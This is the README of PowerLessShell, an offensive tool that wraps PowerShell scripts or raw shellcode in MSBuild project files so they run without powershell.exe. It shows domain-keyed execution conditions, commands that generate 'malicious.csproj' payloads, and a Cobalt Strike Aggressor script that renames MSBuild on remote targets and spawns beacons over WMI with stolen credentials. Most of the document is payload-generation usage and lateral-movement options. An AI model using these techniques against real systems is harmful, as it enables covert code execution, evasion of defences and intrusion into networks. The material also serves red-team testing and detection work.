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PowerLessShell

PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. You can also execute raw shellcode using the same approach.

MSBuild conditions

MSBuild support condition that can be used to avoid running code if the condition is not met.

<Target Name="x" Condition="'$(USERDOMAIN)'=='RingZer0'">

The malicious code will only be executed if the current user domain is "RingZer0"

Condition supports several other formats that can be used to create more conditional execution check.

<Target Name="x" Condition="'$(registry:HKEY_LOCAL_MACHINE\blah@blah)'>='0'">

Property Functions also expose interesting data.

https://docs.microsoft.com/en-us/visualstudio/msbuild/property-functions

Usage

PowerLessShell use commandline argument to generate the final file.

$ python PowerLessShell.py -h
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
usage: PowerLessShell.py [-h] [-type TYPE] -source SOURCE -output OUTPUT
                         [-arch ARCH] [-condition CONDITION]

optional arguments:
  -h, --help            show this help message and exit
  -type TYPE            Payload type (shellcode/powershell) default to:
                        shellcode
  -source SOURCE        Path to the source file (raw shellcode or powershell
                        script)
  -output OUTPUT        MSBuild output filename
  -arch ARCH            Shellcode architecture (32/64) default to: 32
  -condition CONDITION  XML Compiling condition default (Check for USERDOMAIN)
                        default is: none

Generating a powershell payload

$ python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-powershell.csproj as the template
File 'malicious.csproj' created
Process completed

Generating a shellcode payload

$ python PowerLessShell.py -source shellcode.raw -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
File 'malicious.csproj' created
Process completed

Generating a 64 bits shellcode payload

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Cobalt Strike Aggressor script (wmi_msbuild.cna)

By Alyssa (ramen0x3f) and MrT-F

Set Up

Usage

check_msbuild -target TARGET   		Verify .NET 4.0.30319 is installed (should see "Status OK")
	[-user user] [-pass pass]		Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles

rename_msbuild -target TARGET 		Copy MSBuild.exe. 
	-msbuild newname 
 	[-path C:\new\path] 		Default - C:\Users\Public\
	[-user domain\username]		Specifying user/pass spawns cmd on remote host.
 	[-pass password]			

wmi_msbuild -target TARGET 		 	Spawn new beacon. 
         -listener LISTENER
	[-payload new_file]		 	Default - [a-zA-Z].tmp
	[-directory new_dir]			Default - C:\Users\Public\
	[-msbuild alt_msbuild_location] 	
	[-user USERNAME] [-pass PASSWORD]	
	[-manualdelete]				Switch doesn't auto delete payload.

OpSec Notes

Spawns cmd.exe on the target system if

Credit

Mr.Un1k0d3r RingZer0 Team 2017